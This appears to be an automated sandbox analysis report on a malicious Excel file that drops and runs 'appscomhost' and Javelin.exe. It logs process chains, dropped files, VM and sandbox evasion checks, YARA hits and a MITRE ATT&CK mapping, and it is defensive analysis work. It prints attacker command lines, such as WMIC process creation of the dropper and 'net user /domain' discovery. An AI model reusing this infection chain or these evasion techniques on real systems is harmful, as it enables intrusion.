Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Javelin.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\Public\JavelinNew\Javelin.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Section loaded: coremessaging.dll	Jump to behavior

Source: classification engine

Classification label: mal96.expl.evad.winXLSB@15/18@4/6

Source: C:\Users\Public\Libraries\appscomhost

5_2_004034C5

Source: C:\Users\Public\Libraries\appscomhost

Code function: 5_2_00404858 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

5_2_00404858

Source: C:\Users\Public\Libraries\appscomhost

Code function: 5_2_004021A2 CoCreateInstance,

5_2_004021A2

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Source: C:\Users\Public\JavelinNew\Javelin.exe	Mutant created: \Sessions\1\BaseNamedObjects\HookTThread$1bd8
Source: C:\Users\Public\JavelinNew\Javelin.exe	Mutant created: \Sessions\1\BaseNamedObjects\madExceptSettingsMtx$1bd8
Source: C:\Users\Public\JavelinNew\Javelin.exe	Mutant created: \Sessions\1\BaseNamedObjects\madExceptSettingsMtx$1ab0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4088:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6448:120:WilError_01
Source: C:\Users\Public\JavelinNew\Javelin.exe	Mutant created: \Sessions\1\BaseNamedObjects\HookTThread$1ab0

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{291ED4E2-78EE-480C-BE22-D3277A2D5535} - OProcSessId.dat

Jump to behavior

Source: Yara match	File source: 0000000B.00000003.315153554.000000007DEF0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.320355698.000000007EED0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.309591822.000000007CF10000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.517622759.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.288998400.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.294909755.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.268064699.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\Public\JavelinNew\Javelin.exe, type: DROPPED

Source: C:\Users\Public\Libraries\appscomhost	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Key opened: HKEY_USERS.DEFAULT\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Key opened: HKEY_USERS.DEFAULT\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\Public\JavelinNew\Javelin.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic process call create 'C:\Users\Public\Libraries/appscomhost'
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\Public\Libraries\appscomhost C:\Users\Public\Libraries/appscomhost
Source: C:\Users\Public\Libraries\appscomhost	Process created: C:\Users\Public\JavelinNew\Javelin.exe 'C:\Users\Public\JavelinNew\Javelin.exe'
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process created: C:\Users\Public\JavelinNew\Javelin.exe C:\Users\Public\JavelinNew\Javelin.exe -run_agent -second
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user /domain
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user /domain
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic process call create 'C:\Users\Public\Libraries/appscomhost'	Jump to behavior
Source: C:\Users\Public\Libraries\appscomhost	Process created: C:\Users\Public\JavelinNew\Javelin.exe 'C:\Users\Public\JavelinNew\Javelin.exe'	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user /domain	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user /domain	Jump to behavior

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Users\Public\JavelinNew\Javelin.exe

Window found: window name: TComboBox

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: policy#37820.xlsb

Initial sample: OLE zip file path = xl/media/image2.png

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2l-x32\out32dll\ssleay32.pdb0U source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp, Javelin.exe, 00000008.00000002.305461054.000000001203F000.00000002.00020000.sdmp
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2l-x32\out32dll\libeay32.pdb source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp, Javelin.exe, 00000008.00000002.304923395.00000000110E7000.00000002.00020000.sdmp
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2l-x32\out32dll\ssleay32.pdb source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp, Javelin.exe, 00000008.00000002.305461054.000000001203F000.00000002.00020000.sdmp
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2l-x32\out32dll\libeay32.pdb \| source: appscomhost, 00000005.00000003.259267495.0000000004B50000.00000004.00000001.sdmp, Javelin.exe, 00000008.00000002.304923395.00000000110E7000.00000002.00020000.sdmp

Source: Javelin.exe.5.dr

Static PE information: real checksum: 0xfe775f should be:

Source: Javelin.exe.5.dr

Static PE information: section name: .didata

Persistence and Installation Behavior:

Creates processes via WMI

Show sources

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\usa[1]	Jump to dropped file
Source: C:\Users\Public\Libraries\appscomhost	File created: C:\Users\user\AppData\Local\Temp\nso349F.tmp\nsis7z.dll	Jump to dropped file
Source: C:\Users\Public\Libraries\appscomhost	File created: C:\Users\user\AppData\Local\Temp\nso349F.tmp\registry.dll	Jump to dropped file
Source: C:\Users\Public\Libraries\appscomhost	File created: C:\Users\user\AppData\Local\Temp\nso349F.tmp\NSISList.dll	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\Public\Libraries\appscomhost	Jump to dropped file
Source: C:\Users\Public\Libraries\appscomhost	File created: C:\Users\Public\JavelinNew\Javelin.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\appscomhost	File created: C:\Users\user\AppData\Local\Temp\nso349F.tmp\System.dll	Jump to dropped file
Source: C:\Users\Public\Libraries\appscomhost	File created: C:\Users\Public\JavelinNew\ssleay32.dll	Jump to dropped file
Source: C:\Users\Public\Libraries\appscomhost	File created: C:\Users\Public\JavelinNew\libeay32.dll	Jump to dropped file

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\usa[1]			Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\Public\Libraries\appscomhost			Jump to dropped file

Source: C:\Users\Public\Libraries\appscomhost

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\Public\Libraries\appscomhost

Key value created or modified: HKEY_CURRENT_USER\Software\Postapocalyptic rundlet\Host\Parameters General

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\appscomhost	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\appscomhost	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\appscomhost	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\appscomhost	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\appscomhost	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\appscomhost	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\appscomhost	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\appscomhost	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\Public\JavelinNew\Javelin.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	System information queried: FirmwareTableInformation			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: Javelin.exe, 00000008.00000000.272062914.0000000000E01000.00000020.00020000.sdmp, Javelin.exe, 0000000B.00000003.311749860.000000007D910000.00000004.00000001.sdmp

Binary or memory string: OLLYDBG.EXE

Source: C:\Users\Public\JavelinNew\Javelin.exe

Window / User API: threadDelayed 1403

Jump to behavior

Source: C:\Users\Public\JavelinNew\Javelin.exe TID: 6608	Thread sleep time: -35000s >= -30000s			Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe TID: 6520	Thread sleep time: -180000s >= -30000s			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user /domain
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user /domain			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\Public\JavelinNew\Javelin.exe	Last function: Thread delayed

Source: C:\Users\Public\JavelinNew\Javelin.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\Public\Libraries\appscomhost	Code function: 5_2_0040676F FindFirstFileW,FindClose,	5_2_0040676F
Source: C:\Users\Public\Libraries\appscomhost	Code function: 5_2_00405B23 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	5_2_00405B23
Source: C:\Users\Public\Libraries\appscomhost	Code function: 5_2_00402902 FindFirstFileW,	5_2_00402902

Source: C:\Users\Public\JavelinNew\Javelin.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: WMIC.exe, 00000001.00000002.258960030.0000000000700000.00000002.00000001.sdmp, Javelin.exe, 00000008.00000002.303131921.0000000001A70000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: Javelin.exe, 0000000B.00000003.331432284.00000000052E1000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: WMIC.exe, 00000001.00000002.258960030.0000000000700000.00000002.00000001.sdmp, Javelin.exe, 00000008.00000002.303131921.0000000001A70000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: WMIC.exe, 00000001.00000002.258960030.0000000000700000.00000002.00000001.sdmp, Javelin.exe, 00000008.00000002.303131921.0000000001A70000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: WMIC.exe, 00000001.00000002.258960030.0000000000700000.00000002.00000001.sdmp, Javelin.exe, 00000008.00000002.303131921.0000000001A70000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\Public\Libraries\appscomhost

API call chain: ExitProcess graph end node

graph_5-5553

Source: C:\Users\Public\JavelinNew\Javelin.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\Public\JavelinNew\Javelin.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\Public\Libraries\appscomhost	Process created: C:\Users\Public\JavelinNew\Javelin.exe 'C:\Users\Public\JavelinNew\Javelin.exe'	Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user /domain	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user /domain	Jump to behavior

Source: C:\Users\Public\JavelinNew\Javelin.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\Public\JavelinNew\Javelin.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId			Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId			Jump to behavior

Source: C:\Users\Public\JavelinNew\Javelin.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\Public\JavelinNew\Javelin.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\Public\Libraries\appscomhost

5_2_004034C5

Source: C:\Users\Public\JavelinNew\Javelin.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Javelin.exe, 00000008.00000000.272062914.0000000000E01000.00000020.00020000.sdmp, Javelin.exe, 0000000B.00000003.311749860.000000007D910000.00000004.00000001.sdmp

Binary or memory string: OLLYDBG.EXE

Source: Yara match	File source: 00000008.00000002.300472994.0000000001208000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.273261388.0000000001208000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.311749860.000000007D910000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.319348250.000000007E8F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.293269223.0000000001208000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.324153787.000000007F8D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Javelin.exe PID: 6832, type: MEMORY
Source: Yara match	File source: Process Memory Space: Javelin.exe PID: 7128, type: MEMORY
Source: Yara match	File source: C:\Users\Public\JavelinNew\Javelin.exe, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation21	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools1	OS Credential Dumping	File and Directory Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Scripting1	Boot or Logon Initialization Scripts	Extra Window Memory Injection1	Scripting1	LSASS Memory	System Information Discovery37	Remote Desktop Protocol	Clipboard Data1	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution33	Logon Script (Windows)	Access Token Manipulation1	Software Packing1	Security Account Manager	Query Registry1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
